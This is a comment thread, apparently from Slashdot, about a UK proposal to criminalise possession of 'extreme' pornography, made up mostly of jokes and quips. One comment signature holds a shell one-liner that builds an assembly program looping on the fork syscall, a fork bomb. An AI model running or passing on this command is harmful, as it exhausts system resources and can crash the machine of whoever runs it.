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UK Proposal To Restrict Internet Pornography Sparks Row
An anonymous reader writes "The BBC reports on the row over proposals by the UK Government to criminalize possession of 'extreme' porn. The bill, published last week, would include the prohibition of fictional depictions of violence and images of acts between consenting adults. The law would also apply to screenshots taken from a legal film, if the screenshot was made for erotic purposes. The goal is to prevent disturbed individuals from accessing content online that would trigger violent behavior. From the article: 'Labour MP Martin Salter, who has worked closely ... in pushing the legislation, rejected the BDSM community's claims their civil liberties were being undermined. He said: "No-one is stopping people doing weird stuff to each other but they would be strongly advised not to put it on the internet. At the end of the day it is all too easy for this stuff to trigger an unbalanced mind."' The bill follows from plans initially announced last August."
Some unbalanced person might be pushed over the edge, and start dropping anvils on people heads.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
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It's a British word for "fight". They couldn't use the word fight because it has violent undertones which could send an unbalanced mind over the edge.
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It's because they are standing on that slippery slope that they are unbalanced. Maybe find them a level place and their balance will improve.
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How cool is it that in Britain, pornography related offenses have a fine of XXX (30) pounds?
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At the end of the day it is all too easy for this stuff to trigger an unbalanced mind.
I guess that means the Bible, Torah, and Koran are next.
We want some answers and all that we get
Some kind of shit about a terrorist threat
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There goes 4chan
Maybe this is just one of those WTFs brough about because IANAL, but seriously - any data which is capable of conversion into an extreme image?
Who wants to be the first to convert the text of the bill into an ASCII goatse?
It's very easy to pick on the BDSM community
How true. They are always getting beaten, whipped and slapped around.
I used to know a masochist who liked to have a cold shower every morning.
So he had a hot one instead.
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So you all know the old joke, right?
Masochist: "Hit me! Hit me!"
Sadist: "Noooo!"
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
godwin's law achieved
Do not anger the Karma Whores, for they don't bathe often, and might decide to come visit you in person. -Ryan Amos
And maybe if you show them some porn, they could extend an extra pole to aid their balance.
I'd try googling for statistics, but for some reason I'm reluctant to search for "dog molestation."
...no wait... wtf?
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"Nobody knows the age of the human race, but everybody agrees that it is old enough to know better." - Unknown
what do you think suppressing and jailing the BDSM community will do for everyone?
Not much for us, they might enjoy it though.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
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Yes... yes. I agree completely. But remember, we do have to impeach the man first.
I've fallen off your lawn, and I can't get up.
Hah! I get it! Denying people access to their BDSM pornography is just another form of chastity discipline, being applied to the WHOLE BDSM community at once. That's extreme, UK government! I didn't know you were into that stuff.
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